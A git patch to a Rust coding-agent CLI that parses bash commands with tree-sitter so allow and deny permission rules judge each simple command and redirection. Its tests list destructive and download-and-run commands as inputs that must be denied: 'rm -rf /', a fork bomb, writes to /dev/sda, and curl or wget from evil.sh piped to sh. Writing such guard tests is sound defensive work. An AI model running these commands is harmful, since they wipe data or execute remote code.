From 71d7b77250fd2781a5de422f80507ccb9a8b306f Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 16 Oct 2026 14:42:30 +0800 Subject: [PATCH 1/3] feat(permission): parse shell commands for permission analysis Bash rules matched the raw command string, so an allow rule refused any chained or redirected command and a deny rule saw only text split on separators. Parse the command with tree-sitter-bash into simple commands, with leading assignments and transparent wrappers stripped, output redirections as edit targets, and an opaque flag for anything the parse cannot see into. Allow now needs every simple command to match an allow rule or a shipped known-safe read-only command, and every write to be in the workspace or edit-allowed. Deny matches any simple command, including those inside a literal `sh -c` script or `eval`. Opaque commands can be denied but never allowed. Closes #175 --- .cspell/words.txt | 9 + Cargo.lock | 39 + Cargo.toml | 2 + README.md | 2 +- crates/oxide-code/Cargo.toml | 2 + crates/oxide-code/src/driver/headless.rs | 2 +- crates/oxide-code/src/driver/repl.rs | 15 +- ...driver__headless__tests__drive_stderr.snap | 4 +- ...less__tests__drive_stream-json_stdout.snap | 4 +- crates/oxide-code/src/driver/stdio.rs | 4 +- crates/oxide-code/src/permission.rs | 300 ++++- crates/oxide-code/src/permission/rule.rs | 245 ++-- crates/oxide-code/src/permission/shell.rs | 1019 +++++++++++++++++ crates/oxide-code/src/protocol.rs | 4 +- crates/oxide-code/src/tool/bash.rs | 6 +- crates/oxide-code/src/tui/app.rs | 4 +- crates/oxide-code/src/tui/modal/approval.rs | 4 +- docs/design/architecture.md | 2 +- docs/design/tools/permissions.md | 36 +- docs/guide/configuration.md | 2 +- docs/guide/quickstart.md | 2 +- 21 files changed, 1509 insertions(+), 198 deletions(-) create mode 100644 crates/oxide-code/src/permission/shell.rs diff --git a/.cspell/words.txt b/.cspell/words.txt index 218d1bea..ef4ca77d 100644 --- a/.cspell/words.txt +++ b/.cspell/words.txt @@ -11,6 +11,7 @@ atuin cachain cachix catppuccin +chdir claudemd Clawd clippy @@ -38,6 +39,9 @@ envrc ESRCH fcntl feff +fpats +fprint +fprintf frappe getpwuid Ghostty @@ -58,6 +62,7 @@ macchiato misparse misparses mkfifo +mksh MMIX mplan mpsc @@ -77,15 +82,18 @@ nonewline noprefix nucleo numtide +okdir oxalica onig pgid PKCE pkgs pname +popd println Ptmux pulldown +pushd RAII ratatui rects @@ -109,6 +117,7 @@ syntect sysname SYSPROMPT taplo +tcsh tengu Tera termio diff --git a/Cargo.lock b/Cargo.lock index 45729d24..353dc602 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1765,6 +1765,8 @@ dependencies = [ "tracing", "tracing-appender", "tracing-subscriber", + "tree-sitter", + "tree-sitter-bash", "unicode-normalization", "unicode-segmentation", "unicode-width", @@ -2555,6 +2557,8 @@ version = "1.0.154" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e7e9cc8b1b85264074fbcc02a88680c4096b1e47df8f739dceb03bf482f04bd6" dependencies = [ + "foldhash", + "indexmap", "itoa", "memchr", "serde", @@ -2720,6 +2724,12 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" +[[package]] +name = "streaming-iterator" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b2231b7c3057d5e4ad0156fb3dc807d900806020c5ffa3ee6ff2c8c76fb8520" + [[package]] name = "strsim" version = "0.11.1" @@ -3221,6 +3231,35 @@ dependencies = [ "tracing-core", ] +[[package]] +name = "tree-sitter" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5129de2ccc97808c4583d48f1fb44576d015cf241e432800572bda11ef30c3b" +dependencies = [ + "cc", + "regex", + "serde_json", + "streaming-iterator", + "tree-sitter-language", +] + +[[package]] +name = "tree-sitter-bash" +version = "0.25.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5ec769279cc91b561d3df0d8a5deb26b0ad40d183127f409494d6d8fc53062" +dependencies = [ + "cc", + "tree-sitter-language", +] + +[[package]] +name = "tree-sitter-language" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0af592be68c579aa78a16846bd19422978c3c52e438523d45ff5d1bff1f9d4a" + [[package]] name = "try-lock" version = "0.2.5" diff --git a/Cargo.toml b/Cargo.toml index 7b364ba9..e6f337dc 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -89,6 +89,8 @@ tracing-subscriber = { version = "0.3", default-features = false, features = [ "env-filter", "fmt", ] } +tree-sitter = "0.27" +tree-sitter-bash = "0.25" unicode-normalization = "0.1" unicode-segmentation = "1" unicode-width = "0.2" diff --git a/README.md b/README.md index 57b4fa99..b63e102b 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,7 @@ Early development. What works today: - Agent loop with extended thinking and tool-use round-trip - Claude Opus 5.5, Sonnet 5.5, and Haiku 5.5, each with a 1M-token context window and adjustable effort - File and search tools: `read`, `write`, `edit`, `glob`, `grep`, `bash` -- Tool permissions: `auto` (default), `plan`, and `yolo` modes, allow / deny rules, protected config paths whose edits need approval in `auto` mode even when an allow rule matches, and an approval prompt for gated calls in the TUI and REPL that can allow matching calls for the rest of the session or deny with feedback for the model +- Tool permissions: `auto` (default), `plan`, and `yolo` modes, allow / deny rules that match each simple command of a parsed `bash` command line, read-only commands that run without approval, protected config paths whose edits need approval in `auto` mode even when an allow rule matches, and an approval prompt for gated calls in the TUI and REPL that can allow matching calls for the rest of the session or deny with feedback for the model - Turn interruption (Esc / Ctrl+C) plus mid-turn queued follow-up prompts that splice into the same turn between tool calls, with double-press Ctrl+C exit confirmation - Slash commands with `/`-triggered autocomplete (name and curated-arg modes): `/archive`, `/clear`, `/compact`, `/config`, `/delete`, `/diff`, `/effort`, `/help`, `/init`, `/login`, `/logout`, `/model`, `/rename`, `/resume`, `/status`, `/theme`, `/unarchive` - Context compression with manual `/compact` and default-on auto-compaction diff --git a/crates/oxide-code/Cargo.toml b/crates/oxide-code/Cargo.toml index 9ccf781e..6ec185c1 100644 --- a/crates/oxide-code/Cargo.toml +++ b/crates/oxide-code/Cargo.toml @@ -45,6 +45,8 @@ toml.workspace = true tracing.workspace = true tracing-appender.workspace = true tracing-subscriber.workspace = true +tree-sitter.workspace = true +tree-sitter-bash.workspace = true unicode-normalization.workspace = true unicode-segmentation.workspace = true unicode-width.workspace = true diff --git a/crates/oxide-code/src/driver/headless.rs b/crates/oxide-code/src/driver/headless.rs index 8e1779b5..3e7695e2 100644 --- a/crates/oxide-code/src/driver/headless.rs +++ b/crates/oxide-code/src/driver/headless.rs @@ -301,7 +301,7 @@ mod tests { for &format in OutputFormat::value_variants() { let server = MockServer::start().await; mount_tool_call_once(&server, "call-1", "look", "{}").await; - mount_tool_call_once(&server, "call-2", "bash", r#"{"command":"ls"}"#).await; + mount_tool_call_once(&server, "call-2", "bash", r#"{"command":"git push"}"#).await; mount_reply(&server, "Done.").await; let dir = tempfile::tempdir().unwrap(); let tools = ToolRegistry::new(vec![Box::new(LookTool), Box::new(BashTool)]); diff --git a/crates/oxide-code/src/driver/repl.rs b/crates/oxide-code/src/driver/repl.rs index 2f3267ec..a5b40610 100644 --- a/crates/oxide-code/src/driver/repl.rs +++ b/crates/oxide-code/src/driver/repl.rs @@ -240,6 +240,8 @@ fn shown(text: &str) -> String { #[cfg(test)] mod tests { + use std::path::Path; + use indoc::indoc; use wiremock::matchers::{method, path}; use wiremock::{Mock, MockServer, ResponseTemplate}; @@ -265,7 +267,7 @@ mod tests { Policy::default() .session_grant( PermissionClass::Bash, - &GateTarget::Command(command.to_owned()), + &GateTarget::for_command(command, Path::new("/repo")), ) .unwrap() } @@ -373,7 +375,7 @@ mod tests { async fn drive_answers_an_approval_from_the_next_input_line() { with_pinned_home(async { let server = MockServer::start().await; - mount_tool_call_once(&server, "call-1", "bash", r#"{"command":"ls"}"#).await; + mount_tool_call_once(&server, "call-1", "bash", r#"{"command":"git push"}"#).await; mount_reply(&server, "Done.").await; let dir = tempfile::tempdir().unwrap(); let engine = engine(server.uri(), &test_store(dir.path()), dir.path()) @@ -410,7 +412,7 @@ mod tests { async fn drive_without_a_terminal_denies_approvals_and_keeps_every_line_a_prompt() { with_pinned_home(async { let server = MockServer::start().await; - mount_tool_call_once(&server, "call-1", "bash", r#"{"command":"ls"}"#).await; + mount_tool_call_once(&server, "call-1", "bash", r#"{"command":"git push"}"#).await; mount_reply(&server, "Done.").await; let dir = tempfile::tempdir().unwrap(); let engine = engine(server.uri(), &test_store(dir.path()), dir.path()) @@ -489,16 +491,17 @@ mod tests { f maybe + run the tests n "}; let (decision, out) = decide(input, None).await; assert_eq!(decision, Decision::Deny); - assert_eq!(out.matches(CHOICES).count(), 4, "{out}"); + assert_eq!(out.matches(CHOICES).count(), 5, "{out}"); assert_eq!( out.matches("Answer with one of the letters").count(), - 2, - "{out}" + 3, + "a prompt typed ahead re-asks: {out}" ); } diff --git a/crates/oxide-code/src/driver/snapshots/ox__driver__headless__tests__drive_stderr.snap b/crates/oxide-code/src/driver/snapshots/ox__driver__headless__tests__drive_stderr.snap index fca550bc..5528fcbf 100644 --- a/crates/oxide-code/src/driver/snapshots/ox__driver__headless__tests__drive_stderr.snap +++ b/crates/oxide-code/src/driver/snapshots/ox__driver__headless__tests__drive_stderr.snap @@ -5,5 +5,5 @@ expression: "stderrs[0]" ⟡ Look README.md -$ ls -The bash call was denied with this feedback: This run cannot ask for approval. To allow this call, add `"bash(ls)"` to the `allow` list in the `[permission]` table of the user config. +$ git push +The bash call was denied with this feedback: This run cannot ask for approval. To allow this call, add `"bash(git push)"` to the `allow` list in the `[permission]` table of the user config. diff --git a/crates/oxide-code/src/driver/snapshots/ox__driver__headless__tests__drive_stream-json_stdout.snap b/crates/oxide-code/src/driver/snapshots/ox__driver__headless__tests__drive_stream-json_stdout.snap index 36c30e1f..81771ecc 100644 --- a/crates/oxide-code/src/driver/snapshots/ox__driver__headless__tests__drive_stream-json_stdout.snap +++ b/crates/oxide-code/src/driver/snapshots/ox__driver__headless__tests__drive_stream-json_stdout.snap @@ -4,8 +4,8 @@ expression: stdout --- {"type":"tool_call_start","data":{"id":"call-1","name":"look","input":{},"icon":"⟡","label":"Look"}} {"type":"tool_call_end","data":{"id":"call-1","content":"README.md","is_error":false,"title":null,"view":{"type":"text","data":{"content":"README.md"}}}} -{"type":"tool_call_start","data":{"id":"call-2","name":"bash","input":{"command":"ls"},"icon":"$","label":"ls"}} -{"type":"tool_call_end","data":{"id":"call-2","content":"The bash call was denied with this feedback: This run cannot ask for approval. To allow this call, add `\"bash(ls)\"` to the `allow` list in the `[permission]` table of the user config.","is_error":true,"title":null,"view":{"type":"text","data":{"content":"The bash call was denied with this feedback: This run cannot ask for approval. To allow this call, add `\"bash(ls)\"` to the `allow` list in the `[permission]` table of the user config."}}}} +{"type":"tool_call_start","data":{"id":"call-2","name":"bash","input":{"command":"git push"},"icon":"$","label":"git push"}} +{"type":"tool_call_end","data":{"id":"call-2","content":"The bash call was denied with this feedback: This run cannot ask for approval. To allow this call, add `\"bash(git push)\"` to the `allow` list in the `[permission]` table of the user config.","is_error":true,"title":null,"view":{"type":"text","data":{"content":"The bash call was denied with this feedback: This run cannot ask for approval. To allow this call, add `\"bash(git push)\"` to the `allow` list in the `[permission]` table of the user config."}}}} {"type":"stream_token","data":"Done."} {"type":"usage_updated","data":{"context_tokens":1000,"context_window":1000000,"estimated_cost_usd":0.018000000000000002}} {"type":"turn_complete"} diff --git a/crates/oxide-code/src/driver/stdio.rs b/crates/oxide-code/src/driver/stdio.rs index 1c8fa548..347e3047 100644 --- a/crates/oxide-code/src/driver/stdio.rs +++ b/crates/oxide-code/src/driver/stdio.rs @@ -195,6 +195,8 @@ impl EventSink for StdioSink { #[cfg(test)] mod tests { + use std::path::Path; + use indoc::indoc; use super::*; @@ -241,7 +243,7 @@ mod tests { Policy::default() .session_grant( PermissionClass::Bash, - &GateTarget::Command(command.to_owned()), + &GateTarget::for_command(command, Path::new("/repo")), ) .unwrap() } diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index 0ea5f2cf..efe40d21 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -6,6 +6,7 @@ //! the only thing standing between the model and an unchecked tool call. pub(crate) mod rule; +pub(crate) mod shell; use std::ffi::{OsStr, OsString}; use std::fmt; @@ -20,6 +21,7 @@ use serde::{Deserialize, Serialize}; use unicode_normalization::UnicodeNormalization; use crate::permission::rule::{MatchDiscipline, Rule}; +use crate::permission::shell::CommandTarget; use crate::util::path::{XdgBase, app_dir, lexical_normalize}; // ── Mode ── @@ -202,13 +204,13 @@ pub(crate) enum Zone { Outside, } -/// What a tool call acts on, matched against rule specifiers. `bash` carries its command string, +/// What a tool call acts on, matched against rule specifiers. `bash` carries its parsed command, /// and path tools carry the spellings described on [`GateTarget::Path`]. `None` is a call with no /// extractable specifier (a missing path argument): only a class-wide rule can match it. #[derive(Debug, Clone)] pub(crate) enum Target<'a> { None, - Command(&'a str), + Command(&'a CommandTarget), Path { canonical: &'a str, relative: Option<&'a str>, @@ -218,8 +220,8 @@ pub(crate) enum Target<'a> { }, } -/// Owned form of [`Target`] produced by [`crate::tool::Tool::gate_target`]. A tool extracts the -/// command or resolved path from its input once, and the borrowing [`Self::as_target`] then feeds +/// Owned form of [`Target`] produced by [`crate::tool::Tool::gate_target`]. A tool parses the +/// command or resolves the path in its input once, and the borrowing [`Self::as_target`] then feeds /// the allocation-free matcher. Owned because a resolved path is not a substring of the input. #[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] #[serde(tag = "type", content = "data", rename_all = "snake_case")] @@ -227,7 +229,7 @@ pub(crate) enum GateTarget { /// No extractable specifier, so only a class-wide rule matches. #[default] None, - Command(String), + Command(CommandTarget), /// A path in two spellings plus their cwd-relative forms. Path { /// Where the call lands with every symlink followed. Allow rules, the zone, and @@ -246,6 +248,11 @@ pub(crate) enum GateTarget { } impl GateTarget { + /// Parses a `bash` command, resolving the files it reads and writes against `cwd`. + pub(crate) fn for_command(command: &str, cwd: &Path) -> Self { + Self::Command(CommandTarget::parse(command, cwd)) + } + /// Builds a path target for the location the tool will touch, resolving `path` against `cwd` /// with `resolve`. A path `resolve` cannot place keeps its joined spelling with no relative /// form, so it never auto-allows and the tool fails on it where the kernel would. @@ -284,7 +291,7 @@ impl GateTarget { pub(crate) fn as_target(&self) -> Target<'_> { match self { Self::None => Target::None, - Self::Command(cmd) => Target::Command(cmd), + Self::Command(command) => Target::Command(command), Self::Path { canonical, relative, @@ -664,12 +671,12 @@ impl Policy { /// 7. An edit-class call inside a project working directory allows. /// 8. An allow rule or a session allow rule allows. /// 9. Otherwise ask. + /// + /// A `bash` command is denied when a rule denies one of its simple commands or an edit of a + /// file it writes. It asks at step 6 when it writes a protected path, and step 8 allows it only + /// when it is not opaque and [`Self::allows_command`] holds. pub(crate) fn decide(&self, class: PermissionClass, target: &Target<'_>) -> Decision { - let any_match = |rules: &[Rule], discipline: MatchDiscipline| { - rules.iter().any(|r| r.matches(class, target, discipline)) - }; - - if any_match(&self.deny, MatchDiscipline::Deny) { + if denies(&self.deny, class, target) { return Decision::Deny; } @@ -677,7 +684,7 @@ impl Policy { return Decision::Allow; } - if any_match(&self.defaults, MatchDiscipline::Deny) { + if denies(&self.defaults, class, target) { return Decision::Deny; } @@ -689,24 +696,87 @@ impl Policy { return Decision::Deny; } - if class == PermissionClass::Edit - && let Target::Path { zone, .. } = target - { - match zone { + match target { + Target::Path { zone, .. } if class == PermissionClass::Edit => match zone { Zone::Protected => return Decision::Ask, Zone::Workspace => return Decision::Allow, Zone::Outside => {} + }, + Target::Command(command) => { + let writes = || command.writes().iter().map(GateTarget::as_target); + if writes().any(|write| { + matches!( + write, + Target::Path { + zone: Zone::Protected, + .. + } + ) + }) { + return Decision::Ask; + } + return if self.allows_command(command) { + Decision::Allow + } else { + Decision::Ask + }; } + _ => {} } - if any_match(&self.allow, MatchDiscipline::Allow) - || any_match(&self.session_allow, MatchDiscipline::Allow) - { + if self.allows(class, target) { return Decision::Allow; } Decision::Ask } + + /// Whether an allow rule or a session allow rule matches the call. + fn allows(&self, class: PermissionClass, target: &Target<'_>) -> bool { + self.allow + .iter() + .chain(&self.session_allow) + .any(|rule| rule.matches(class, target, MatchDiscipline::Allow)) + } + + /// Whether every part of a command is allowed: it is not opaque and runs at least one simple + /// command, each simple command is allowed by a rule or is a known-safe read of no denied file, + /// and each file it writes is in a working directory or allowed for editing. + fn allows_command(&self, command: &CommandTarget) -> bool { + let rules = || self.allow.iter().chain(&self.session_allow); + let safe = |reads: &[GateTarget]| { + reads.iter().all(|read| { + let read = read.as_target(); + !denies(&self.deny, PermissionClass::Read, &read) + && !denies(&self.defaults, PermissionClass::Read, &read) + }) + }; + !command.is_opaque() + && !command.segments().is_empty() + && command.segments().iter().all(|segment| { + rules().any(|rule| rule.allows(segment)) || segment.safe_reads().is_some_and(safe) + }) + && command.writes().iter().all(|write| { + let write = write.as_target(); + matches!( + write, + Target::Path { + zone: Zone::Workspace, + .. + } + ) || self.allows(PermissionClass::Edit, &write) + }) + } +} + +/// Whether one of `rules` denies the call, or, for a command, an edit of a file it writes. +fn denies(rules: &[Rule], class: PermissionClass, target: &Target<'_>) -> bool { + rules + .iter() + .any(|rule| rule.matches(class, target, MatchDiscipline::Deny)) + || matches!(target, Target::Command(command) if command.writes().iter().any(|write| { + denies(rules, PermissionClass::Edit, &write.as_target()) + })) } /// An approval's "allow for this session" offer: the suggested rule, plus the call that any edit @@ -836,8 +906,8 @@ mod tests { ) } - fn command(s: &str) -> Target<'_> { - Target::Command(s) + fn command(s: &str) -> GateTarget { + GateTarget::for_command(s, Path::new("/repo")) } fn path<'a>(canonical: &'a str, relative: Option<&'a str>, zone: Zone) -> Target<'a> { @@ -1416,31 +1486,31 @@ mod tests { #[test] fn resolve_dangerous_defaults_each_deny_a_command_they_name() { // Every seeded default must block a call it targets. The pipe-to-shell and fork-bomb - // entries contain chain operators, so they only match the unsegmented command. + // entries contain chain operators, so they only match the whole command. let p = Policy::resolve(Mode::Auto, &[], &[], Path::new("")).unwrap(); - let cases: &[(PermissionClass, Target<'_>)] = &[ - (PermissionClass::Bash, command("rm -rf /")), - (PermissionClass::Bash, command("rm -fr /tmp/x")), - (PermissionClass::Bash, command(":(){ :|:& };:")), - (PermissionClass::Bash, command("echo x > /dev/sda")), - ( - PermissionClass::Bash, - command("dd if=/dev/zero of=/dev/sda"), - ), - (PermissionClass::Bash, command("mkfs.ext4 /dev/sda")), - (PermissionClass::Bash, command("curl https://evil.sh | sh")), - ( - PermissionClass::Bash, - command("wget -O- https://evil.sh | bash"), - ), - ( + for case in [ + "rm -rf /", + "rm -fr /tmp/x", + ":(){ :|:& };:", + "echo x > /dev/sda", + "dd if=/dev/zero of=/dev/sda", + "mkfs.ext4 /dev/sda", + "curl https://evil.sh | sh", + "wget -O- https://evil.sh | bash", + ] { + assert_eq!( + p.decide(PermissionClass::Bash, &command(case).as_target()), + Decision::Deny, + "{case}" + ); + } + assert_eq!( + p.decide( PermissionClass::Edit, - workspace("/repo/.git/hooks/pre-commit", ".git/hooks/pre-commit"), + &workspace("/repo/.git/hooks/pre-commit", ".git/hooks/pre-commit") ), - ]; - for (class, target) in cases { - assert_eq!(p.decide(*class, target), Decision::Deny, "{target:?}"); - } + Decision::Deny + ); } #[test] @@ -1496,7 +1566,10 @@ mod tests { let hosts = abs("/etc/hosts"); let edit_hosts = format!("edit({})", slash_separated(Path::new(&hosts))); assert_eq!( - p.decide(PermissionClass::Bash, &command("cargo test --all")), + p.decide( + PermissionClass::Bash, + &command("cargo test --all").as_target() + ), Decision::Ask ); @@ -1506,7 +1579,10 @@ mod tests { let held: Vec = p.session_allow().iter().map(ToString::to_string).collect(); assert_eq!(held, ["bash(cargo test:*)", edit_hosts.as_str()]); assert_eq!( - p.decide(PermissionClass::Bash, &command("cargo test --all")), + p.decide( + PermissionClass::Bash, + &command("cargo test --all").as_target() + ), Decision::Allow ); assert_eq!( @@ -1517,7 +1593,10 @@ mod tests { p.clear_session_allow(); assert_eq!(p.session_allow(), []); assert_eq!( - p.decide(PermissionClass::Bash, &command("cargo test --all")), + p.decide( + PermissionClass::Bash, + &command("cargo test --all").as_target() + ), Decision::Ask ); } @@ -1529,7 +1608,10 @@ mod tests { p.allow_for_session(Rule::parse("edit(**)").unwrap()); assert_eq!( - p.decide(PermissionClass::Bash, &command("cargo test --release")), + p.decide( + PermissionClass::Bash, + &command("cargo test --release").as_target() + ), Decision::Deny ); let git_config = abs("/repo/.git/config"); @@ -1547,7 +1629,7 @@ mod tests { #[test] fn session_grant_suggests_a_rule_that_allows_the_call() { let p = policy(Mode::Auto, &[], &[]); - let target = GateTarget::Command("cargo test".to_owned()); + let target = command("cargo test"); let grant = p.session_grant(PermissionClass::Bash, &target).unwrap(); assert_eq!(grant.suggested().to_string(), "bash(cargo test)"); @@ -1567,7 +1649,7 @@ mod tests { let protected = GateTarget::for_path(".git/config", &cwd); assert!(p.session_grant(PermissionClass::Edit, &protected).is_none()); - let wildcard = GateTarget::Command("ls *.rs".to_owned()); + let wildcard = command("ls *.rs"); assert!(p.session_grant(PermissionClass::Bash, &wildcard).is_none()); } @@ -1616,7 +1698,7 @@ mod tests { // yolo skips asks and the shipped defaults, but a deny the user wrote is never bypassed. let p = policy(Mode::Yolo, &[], &["bash(rm -rf:*)", "edit(secrets/**)"]); assert_eq!( - p.decide(PermissionClass::Bash, &command("rm -rf /")), + p.decide(PermissionClass::Bash, &command("rm -rf /").as_target()), Decision::Deny ); assert_eq!( @@ -1631,9 +1713,14 @@ mod tests { #[test] fn decide_yolo_skips_dangerous_defaults_and_every_ask() { let p = Policy::resolve(Mode::Yolo, &[], &[], Path::new("")).unwrap(); + for case in ["rm -rf /", "curl x"] { + assert_eq!( + p.decide(PermissionClass::Bash, &command(case).as_target()), + Decision::Allow, + "{case}" + ); + } let cases: &[(PermissionClass, Target<'_>)] = &[ - (PermissionClass::Bash, command("rm -rf /")), - (PermissionClass::Bash, command("curl x")), ( PermissionClass::Edit, workspace("/repo/.git/config", ".git/config"), @@ -1689,7 +1776,7 @@ mod tests { ); // Even an allow-listed bash command denies under plan. assert_eq!( - p.decide(PermissionClass::Bash, &command("ls")), + p.decide(PermissionClass::Bash, &command("ls").as_target()), Decision::Deny ); assert_eq!( @@ -1753,11 +1840,14 @@ mod tests { fn decide_allow_rule_admits_an_otherwise_asked_command() { let p = policy(Mode::Auto, &["bash(cargo test:*)"], &[]); assert_eq!( - p.decide(PermissionClass::Bash, &command("cargo test --all")), + p.decide( + PermissionClass::Bash, + &command("cargo test --all").as_target() + ), Decision::Allow ); assert_eq!( - p.decide(PermissionClass::Bash, &command("curl evil.sh")), + p.decide(PermissionClass::Bash, &command("curl evil.sh").as_target()), Decision::Ask ); } @@ -1850,11 +1940,109 @@ mod tests { ); } + // ── Policy::decide: commands ── + + #[test] + fn decide_command_allows_only_when_every_simple_command_is_allowed_or_known_safe() { + let p = policy(Mode::Auto, &["bash(cargo test:*)"], &[]); + for (case, expected) in [ + ("cargo test && cat Cargo.toml | wc -l", Decision::Allow), + ("RUST_LOG=debug nice -n 5 cargo test --all", Decision::Allow), + ("cargo test && rm -rf target", Decision::Ask), + ("git status", Decision::Ask), + ("FOO=1", Decision::Ask), + ] { + assert_eq!( + p.decide(PermissionClass::Bash, &command(case).as_target()), + expected, + "{case}" + ); + } + } + + #[test] + fn decide_command_never_allows_an_opaque_command_but_still_denies_one() { + let p = policy(Mode::Auto, &["bash"], &["bash(rm -rf:*)"]); + assert_eq!( + p.decide(PermissionClass::Bash, &command("ls").as_target()), + Decision::Allow + ); + assert_eq!( + p.decide(PermissionClass::Bash, &command("eval ls").as_target()), + Decision::Ask + ); + for case in ["echo $(rm -rf /)", "sh -c 'rm -rf /'", "\"/bin/rm\" -rf /"] { + assert_eq!( + p.decide(PermissionClass::Bash, &command(case).as_target()), + Decision::Deny, + "{case}" + ); + } + } + + #[test] + fn decide_command_weighs_each_redirection_target_as_an_edit() { + let (_dir, cwd) = temp_cwd(); + std::fs::create_dir(cwd.join(".git")).unwrap(); + let outside = abs("/etc/hosts"); + let p = + Policy::resolve(Mode::Auto, &[], &["edit(**/secret.txt)".to_owned()], &cwd).unwrap(); + let decide = |case: &str| { + p.decide( + PermissionClass::Bash, + &GateTarget::for_command(case, &cwd).as_target(), + ) + }; + assert_eq!(decide("echo hi > out.txt 2>&1"), Decision::Allow); + assert_eq!(decide("echo hi > .envrc"), Decision::Ask); + assert_eq!(decide(&format!("echo hi >> {outside}")), Decision::Ask); + assert_eq!(decide("echo hi > secret.txt"), Decision::Deny); + assert_eq!(decide("echo hi > .git/hooks/pre-commit"), Decision::Deny); + + let (_elsewhere_dir, elsewhere) = temp_cwd(); + let notes = slash_separated(&elsewhere.join("notes.txt")); + let allowed = Policy::resolve(Mode::Auto, &[format!("edit({notes})")], &[], &cwd).unwrap(); + assert_eq!( + allowed.decide( + PermissionClass::Bash, + &GateTarget::for_command(&format!("echo hi >> {notes}"), &cwd).as_target() + ), + Decision::Allow + ); + } + + #[test] + fn decide_command_asks_for_a_known_safe_read_of_a_denied_file() { + let (_dir, cwd) = temp_cwd(); + let p = Policy::resolve(Mode::Auto, &[], &["read(**/.env)".to_owned()], &cwd).unwrap(); + let decide = |case: &str| { + p.decide( + PermissionClass::Bash, + &GateTarget::for_command(case, &cwd).as_target(), + ) + }; + assert_eq!(decide("cat README.md"), Decision::Allow); + assert_eq!(decide("cat .env"), Decision::Ask); + assert_eq!(decide("grep --file=.env x"), Decision::Ask); + } + + #[test] + fn decide_command_session_grant_names_the_one_simple_command() { + let p = policy(Mode::Auto, &[], &[]); + let target = command("RUST_LOG=debug cargo test 2>&1"); + let grant = p.session_grant(PermissionClass::Bash, &target).unwrap(); + assert_eq!(grant.suggested().to_string(), "bash(cargo test)"); + assert!( + p.session_grant(PermissionClass::Bash, &command("cargo test && git push")) + .is_none() + ); + } + // ── SessionGrant::accept ── #[test] fn session_grant_accept_takes_an_edit_that_still_covers_the_call() { - let target = GateTarget::Command("cargo test --all".to_owned()); + let target = command("cargo test --all"); let grant = policy(Mode::Auto, &[], &[]) .session_grant(PermissionClass::Bash, &target) .unwrap(); diff --git a/crates/oxide-code/src/permission/rule.rs b/crates/oxide-code/src/permission/rule.rs index ec2fd820..c3db19ee 100644 --- a/crates/oxide-code/src/permission/rule.rs +++ b/crates/oxide-code/src/permission/rule.rs @@ -2,18 +2,19 @@ //! //! The form mirrors Claude Code's for transferable muscle memory. A rule names a //! [`PermissionClass`] (`read`, `edit`, or `bash`, case-insensitive) and an optional specifier. -//! `bash` specifiers match the command string in exact, prefix (`cargo test:*`), or wildcard -//! (`git *`) shapes. `read` and `edit` specifiers are path globs where `*` and `?` stay within one +//! `bash` specifiers match each simple command [`CommandTarget`] parses out of a command, in exact, +//! prefix (`cargo test:*`), or wildcard (`git *`) shapes. `read` and `edit` specifiers are path globs where `*` and `?` stay within one //! path segment and `**` spans segments. A relative glob matches the cwd-relative path of a target //! inside the working directory, and an absolute or `~/` glob matches the resolved absolute path. A //! deny rule also matches the path as the call spells it and where the rule's literal prefix //! resolved when the policy loaded ([`Rule::resolved_prefix`]), comparing names by [`fold_name`]. A //! bare class name, `class()`, or `class(*)` covers the whole class. //! -//! Because a `bash` command is an unparsed string, matching is best-effort UX rather than a -//! security boundary (see `docs/design/tools/permissions.md`). The asymmetry is deliberate: an -//! allow rule refuses to match a compound command, while a deny rule matches the whole command or -//! any chained segment of it, so widening stays conservative and revoking stays aggressive. +//! Matching a `bash` command narrows the ways a rule can be fooled, but it is not a security +//! boundary (see `docs/design/tools/permissions.md`). The asymmetry is deliberate: an allow rule +//! must match every simple command of a command that is not opaque, while a deny rule matches the +//! whole command or any simple command of it, as written or unquoted, so widening stays +//! conservative and revoking stays aggressive. use std::fmt; use std::path::{Path, PathBuf}; @@ -23,6 +24,7 @@ use globset::{GlobBuilder, GlobMatcher}; use regex::Regex; use serde::{Deserialize, Serialize}; +use crate::permission::shell::{CommandTarget, Segment, basename}; use crate::permission::{PermissionClass, Target, fold_name, resolve}; use crate::util::path::{expand_user, lexical_normalize, slash_separated}; use crate::util::text::is_hidden; @@ -70,19 +72,19 @@ enum BashSpec { Wildcard(Regex), } -/// Which rule set a match is being evaluated for, selecting how compound `bash` commands, symlinked -/// paths, and name spellings match. Allow widens, so it matches conservatively. Deny revokes, so it -/// matches aggressively. This keeps the security-critical asymmetry legible at the call sites in +/// Which rule set a match is being evaluated for, selecting how `bash` commands, symlinked paths, and +/// name spellings match. Allow widens, so it matches conservatively. Deny revokes, so it matches +/// aggressively. This keeps the security-critical asymmetry legible at the call sites in /// [`crate::permission::Policy::decide`]. #[derive(Debug, Clone, Copy, PartialEq, Eq)] pub(super) enum MatchDiscipline { - /// A single non-compound command must match the whole rule, and a path matches only where it - /// resolves, with names exactly as the rule writes them. Neither a chained command, a symlink, - /// nor a variant spelling widens. + /// Every simple command of a command that is not opaque must match as written, and a path + /// matches only where it resolves, with names exactly as the rule writes them. Neither a + /// chained command, a symlink, nor a variant spelling widens. Allow, - /// The whole command or any chained segment may match, and a path matches as resolved or as - /// spelled, with names folded too. A danger behind a safe head, a symlink, or a variant - /// spelling is caught. + /// The whole command or any simple command may match, as written or unquoted, and a path + /// matches as resolved or as spelled, with names folded too. A danger behind a safe head, a + /// symlink, or a variant spelling is caught. Deny, } @@ -125,19 +127,23 @@ impl Rule { }) } - /// The narrowest rule that allows the call in `class` with `target`: its exact command, or the - /// path the tool resolved, relative inside cwd. `None` when no specifier names the call alone, - /// as for a command with a `*` that 